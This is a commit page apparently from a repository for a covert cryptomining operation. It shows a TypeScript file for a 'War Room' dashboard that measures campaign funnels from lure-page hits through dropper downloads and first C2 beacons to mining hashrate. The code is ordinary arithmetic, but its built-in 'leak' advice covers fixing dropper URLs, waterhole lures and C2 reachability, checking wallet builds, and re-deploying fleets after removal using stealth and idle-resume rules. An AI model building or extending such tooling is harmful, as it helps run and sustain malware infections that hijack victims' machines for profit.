feat: alive UI wave, galaxy presence, spread and fleet enhancements
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
This commit is contained in:
AetherForge
2026-06-04 22:36:17 -07:00
parent 1551bd5dad
commit a32860b0d9
154 changed files with 17383 additions and 601 deletions

View File

@@ -0,0 +1,231 @@
/** War Room funnel helpers for Emberwake campaign dashboard. */
export interface WarRoomCampaign {
campaign: string;
hits: number;
downloads: number;
first_beacon?: number;
mining?: number;
agents: number;
online: number;
hashrate: number;
conversion_pct: number;
daily_hits: number[];
last_activity?: string;
pins?: string[];
}
export interface WarRoomResponse {
generated_at: string;
days: number;
campaigns: WarRoomCampaign[];
}
export type FunnelStageId = 'hits' | 'downloads' | 'first_beacon' | 'mining' | 'hashrate';
export interface FunnelStage {
id: FunnelStageId;
label: string;
value: number;
display: string;
/** Conversion from previous stage (0 for first stage). */
rateFromPrev: number | null;
}
export type FunnelLeakSeverity = 'warn' | 'critical';
export interface FunnelLeak {
stage: string;
severity: FunnelLeakSeverity;
message: string;
action: string;
}
/** Agents ÷ hits × 100, rounded to one decimal. */
export function conversionPct(agents: number, hits: number): number {
if (hits <= 0) return 0;
return Math.round((agents / hits) * 1000) / 10;
}
/** Stage-to-stage conversion %, rounded to one decimal. */
export function stageConversionPct(to: number, from: number): number {
if (from <= 0) return 0;
return Math.round((to / from) * 1000) / 10;
}
/** Resolved first-beacon count (falls back to agents for older payloads). */
export function firstBeaconCount(c: WarRoomCampaign): number {
if (c.first_beacon != null) return c.first_beacon;
return c.agents ?? 0;
}
/** Resolved mining count (agents with hashrate > 0). */
export function miningCount(c: WarRoomCampaign): number {
if (c.mining != null) return c.mining;
return c.hashrate > 0 ? 1 : 0;
}
/** Left-to-right funnel stages for a campaign card. */
export function funnelStages(c: WarRoomCampaign): FunnelStage[] {
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
return [
{ id: 'hits', label: 'Hits', value: hits, display: String(hits), rateFromPrev: null },
{
id: 'downloads',
label: 'Downloads',
value: downloads,
display: String(downloads),
rateFromPrev: stageConversionPct(downloads, hits),
},
{
id: 'first_beacon',
label: 'First beacon',
value: beacon,
display: String(beacon),
rateFromPrev: stageConversionPct(beacon, downloads),
},
{
id: 'mining',
label: 'Mining',
value: mining,
display: String(mining),
rateFromPrev: stageConversionPct(mining, beacon),
},
{
id: 'hashrate',
label: 'Hashrate',
value: c.hashrate ?? 0,
display: formatHashrate(c.hashrate),
rateFromPrev: mining > 0 && (c.hashrate ?? 0) > 0 ? 100 : stageConversionPct(c.hashrate > 0 ? 1 : 0, mining),
},
];
}
/** Max pipe fill width (0100) relative to funnel entry hits. */
export function funnelPipeWidth(stageValue: number, hits: number, isHashrate = false): number {
if (isHashrate) {
return stageValue > 0 ? 100 : 8;
}
if (hits <= 0) return stageValue > 0 ? 100 : 8;
return Math.max(8, Math.round((stageValue / hits) * 100));
}
/**
* Detect funnel leaks — actionable callouts when a stage drops sharply.
* Returns highest-severity leaks first.
*/
export function detectFunnelLeaks(c: WarRoomCampaign): FunnelLeak[] {
const hits = c.hits ?? 0;
const downloads = c.downloads ?? 0;
const beacon = firstBeaconCount(c);
const mining = miningCount(c);
const leaks: FunnelLeak[] = [];
if (hits >= 50 && beacon === 0) {
leaks.push({
stage: 'hits→beacon',
severity: 'critical',
message: `${hits} hits but zero agents — funnel dead before beacon.`,
action: 'Verify dropper URL, install script, and C2 reachability from target network.',
});
} else if (hits >= 20 && downloads === 0) {
leaks.push({
stage: 'hits→downloads',
severity: 'warn',
message: `${hits} page hits with no downloads.`,
action: 'Check lure CTA, blocked hosts, or broken /get link on the waterhole.',
});
}
if (downloads >= 5 && beacon === 0) {
leaks.push({
stage: 'downloads→beacon',
severity: 'critical',
message: `${downloads} downloads but no first beacon.`,
action: 'Worker may fail install — confirm server URL, TLS, and agent binary for target OS.',
});
}
if (beacon >= 3 && mining === 0) {
leaks.push({
stage: 'beacon→mining',
severity: 'warn',
message: `${beacon} agents connected but none mining.`,
action: 'Check pool/wallet in build, idle policy, GPU drivers, or Crucible schedule.',
});
}
if (beacon > 0 && mining > 0 && (c.hashrate ?? 0) <= 0 && (c.online ?? 0) === 0) {
leaks.push({
stage: 'mining→hashrate',
severity: 'warn',
message: 'Agents mined before but fleet is offline with zero hashrate.',
action: 'Fleet may have been killed — re-deploy or check stealth / idle resume rules.',
});
}
const order: Record<FunnelLeakSeverity, number> = { critical: 0, warn: 1 };
leaks.sort((a, b) => order[a.severity] - order[b.severity]);
return leaks;
}
/** Compact hashrate for table cells (H/s). */
export function formatHashrate(hs: number): string {
if (!hs || hs <= 0) return '—';
if (hs >= 1_000_000) return `${(hs / 1_000_000).toFixed(2)} MH/s`;
if (hs >= 1_000) return `${(hs / 1_000).toFixed(1)} kH/s`;
return `${Math.round(hs)} H/s`;
}
/** Max value in a daily hits series (for sparkline scaling). */
export function sparklineMax(values: number[]): number {
if (!values.length) return 1;
return Math.max(1, ...values);
}
/** Inline height % for CSS bar sparkline (0100). */
export function sparklineBarHeight(value: number, max: number): number {
if (max <= 0 || value <= 0) return 4;
return Math.max(8, Math.round((value / max) * 100));
}
/** Compact delta label for odometer tick-ups (null when unchanged). */
export function formatOdometerDelta(prev: number, next: number): string | null {
const delta = next - prev;
if (delta === 0 || !Number.isFinite(delta)) return null;
const sign = delta > 0 ? '+' : '';
const abs = Math.abs(delta);
if (abs >= 1_000_000) return `${sign}${(abs / 1_000_000).toFixed(1)}M`;
if (abs >= 10_000) return `${sign}${(abs / 1_000).toFixed(1)}k`;
if (Number.isInteger(abs) || abs >= 100) return `${sign}${Math.round(abs)}`;
return `${sign}${abs.toFixed(1)}`;
}
/** Stagger delay (ms) for funnel card stage animations. */
export function staggerDelayMs(cardIndex: number, itemIndex: number, baseMs = 45): number {
return cardIndex * 110 + itemIndex * baseMs;
}
/** Eased tick duration scales with magnitude of change. */
export function odometerDurationMs(delta: number): number {
const abs = Math.abs(delta);
if (abs <= 3) return 380;
if (abs <= 25) return 560;
if (abs <= 200) return 720;
return 920;
}
/** Cubic ease-out for odometer interpolation (0 → 1). */
export function odometerEase(t: number): number {
const clamped = Math.min(1, Math.max(0, t));
return 1 - (1 - clamped) ** 3;
}
/** Interpolate between two numeric endpoints with odometer easing. */
export function odometerLerp(from: number, to: number, progress: number): number {
return from + (to - from) * odometerEase(progress);
}